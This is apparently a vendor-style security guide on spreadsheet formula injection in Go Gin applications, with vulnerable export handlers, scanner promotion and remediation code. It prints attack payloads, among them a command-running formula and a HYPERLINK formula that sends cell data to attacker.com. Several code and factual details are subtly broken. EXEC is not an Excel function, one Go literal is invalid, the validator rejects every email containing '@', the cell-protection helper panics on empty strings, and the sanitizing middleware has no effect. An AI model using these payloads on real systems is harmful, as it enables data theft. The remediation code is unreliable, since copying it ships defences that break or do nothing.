Formula Injection in Gin
How Formula Injection Manifests in Gin
Formula Injection in Gin applications occurs when user-supplied data flows into Excel or CSV exports without proper sanitization. This vulnerability allows attackers to embed malicious formulas that execute when the file is opened in spreadsheet applications. In Gin, this typically manifests in two ways:
- Export endpoints that generate downloadable reports containing user data
- File upload handlers that process CSV uploads where formulas could be stored and later exported
Consider a typical Gin endpoint that exports user data:
func exportUsers(c *gin.Context) {
users := getDatabaseUsers()
// Vulnerable: user data flows directly into CSV
writer := csv.NewWriter(c.Writer)
for _, user := range users {
writer.Write([]string{user.Name, user.Email, user.Balance})
}
writer.Flush()
}
If an attacker's email contains =1+1 or more malicious formulas like =EXEC("cmd.exe","/c calc.exe"), these formulas will execute when the CSV is opened in Excel. The risk escalates when formulas can access external resources:
// Malicious formula example
email := "=HYPERLINK(""http://attacker.com?data="&A2&"", ""Click here to view your balance"")"
Another Gin-specific manifestation occurs in template rendering for downloadable content. When using Gin's HTML/template package to generate CSV content:
func exportReport(c *gin.Context) {
report := getReportData()
// Vulnerable: template rendering without escaping
c.Header("Content-Type", "text/csv")
c.Header("Content-Disposition", "attachment; filename=report.csv")
c.HTML(http.StatusOK, "report.tmpl", report)
}
The template might contain:
# report.tmpl
{{.Field1}},{{.Field2}},{{.Field3}}
If Field2 contains =SUM(1000,2000), this formula executes in Excel. The issue compounds when Gin applications use middleware that automatically processes request data without validation, allowing malicious formulas to persist through the request lifecycle.
Gin-Specific Detection
Detecting Formula Injection in Gin applications requires both static code analysis and runtime scanning. For static detection, examine all endpoints that:
- Return Content-Type: text/csv or application/vnd.ms-excel
- Use c.Header("Content-Disposition", "attachment")
- Write CSV or Excel content using bufio.Writer or similar
middleBrick's scanner specifically identifies these patterns in Gin applications. When scanning a Gin API endpoint that exports data, middleBrick tests for formula injection by injecting payloads like:
=1+1
=HYPERLINK("http://test.com", "Test")
=IFERROR(CODE(MID(ADDRESS(1,COLUMN()),2,LEN(ADDRESS(1,COLUMN()))-2)),0)
The scanner then analyzes the generated file to detect if formulas are preserved and executable. For Gin applications, middleBrick examines:
- Route handlers that use c.Writer directly for CSV generation
- Middleware that processes request bodies before reaching export endpoints
- Template files (.tmpl, .html) used for generating downloadable content
- JSON unmarshaling that might preserve formula-like strings
Manual detection should focus on Gin's context handling. Any handler that writes directly to c.Writer without sanitization is suspect:
func vulnerableExport(c *gin.Context) {
data := getSensitiveData()
// Problem: direct write without validation
c.Writer.Write([]byte("Name,Email,Balance\n"))
for _, item := range data {
line := fmt.Sprintf("%s,%s,%s\n", item.Name, item.Email, item.Balance)
c.Writer.Write([]byte(line))
}
}
middleBrick's runtime scanning can automatically detect these patterns and test them with formula injection payloads, providing a security score and specific findings for each vulnerable endpoint.
Gin-Specific Remediation
Remediating Formula Injection in Gin requires a defense-in-depth approach. The most effective strategy combines input validation, output sanitization, and safe CSV generation.
First, implement input validation at the model level using Gin's binding features with custom validators:
type User struct {
Name string `json:"name" binding:"required,max=255"`
Email string `json:"email" binding:"email"`
Balance string `json:"balance" binding:"numeric"`
}
// Custom validator to detect formulas
func ValidateNoFormulas(fl validator.FieldLevel) bool {
value := fl.Field().String()
formulaPatterns := []string{"=", "+", "-", "*", "/", "@", "{"}
for _, pattern := range formulaPatterns {
if strings.Contains(value, pattern) {
return false
}
}
return true
}
For CSV generation, use Go's csv package with proper escaping and prefix dangerous content:
func safeExportUsers(c *gin.Context) {
users := getDatabaseUsers()
c.Header("Content-Type", "text/csv")
c.Header("Content-Disposition", "attachment; filename=users.csv")
writer := csv.NewWriter(c.Writer)
defer writer.Flush()
// Write header
writer.Write([]string{"Name", "Email", "Balance"})
for _, user := range users {
safeEmail := sanitizeForCSV(user.Email)
writer.Write([]string{user.Name, safeEmail, user.Balance})
}
}
func sanitizeForCSV(input string) string {
// Prepend apostrophe to prevent formula execution
if strings.HasPrefix(input, "=") ||
strings.HasPrefix(input, "+") ||
strings.HasPrefix(input, "-") ||
strings.HasPrefix(input, "@") {
return "'" + input
}
return input
}
For Excel exports, use a library like excelize with formula protection:
func exportExcel(c *gin.Context) {
users := getDatabaseUsers()
f := excelize.NewFile()
index := f.NewSheet("Users")
// Write headers
f.SetCellValue("Users", "A1", "Name")
f.SetCellValue("Users", "B1", "Email")
f.SetCellValue("Users", "C1", "Balance")
// Write data with formula protection
for i, user := range users {
row := i + 2
f.SetCellValue("Users", fmt.Sprintf("A%d", row), user.Name)
f.SetCellValue("Users", fmt.Sprintf("B%d", row), protectCellValue(user.Email))
f.SetCellValue("Users", fmt.Sprintf("C%d", row), user.Balance)
}
f.SetActiveSheet(index)
c.Header("Content-Type", "application/vnd.openxmlformats-officedocument.spreadsheetml.sheet")
c.Header("Content-Disposition", "attachment; filename=report.xlsx")
// Write to response
var buf bytes.Buffer
if err := f.Write(&buf); err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
c.Data(http.StatusOK, "application/octet-stream", buf.Bytes())
}
func protectCellValue(value string) string {
if strings.ContainsAny(value[0:1], "=+-@") {
return "'" + value
}
return value
}
Implement middleware for automatic sanitization in Gin:
func formulaSanitizationMiddleware() gin.HandlerFunc {
return func(c *gin.Context) {
// Sanitize request data before it reaches handlers
if c.Request.Method == http.MethodPost || c.Request.Method == http.MethodPut {
var input map[string]interface{}
if err := c.ShouldBindJSON(&input); err == nil {
for key, value := range input {
if strVal, ok := value.(string); ok {
input[key] = sanitizeForCSV(strVal)
}
}
// Re-insert sanitized data
c.Request = c.Request.WithContext(context.WithValue(
c.Request.Context(),
"sanitizedData",
input,
))
}
}
c.Next()
}
}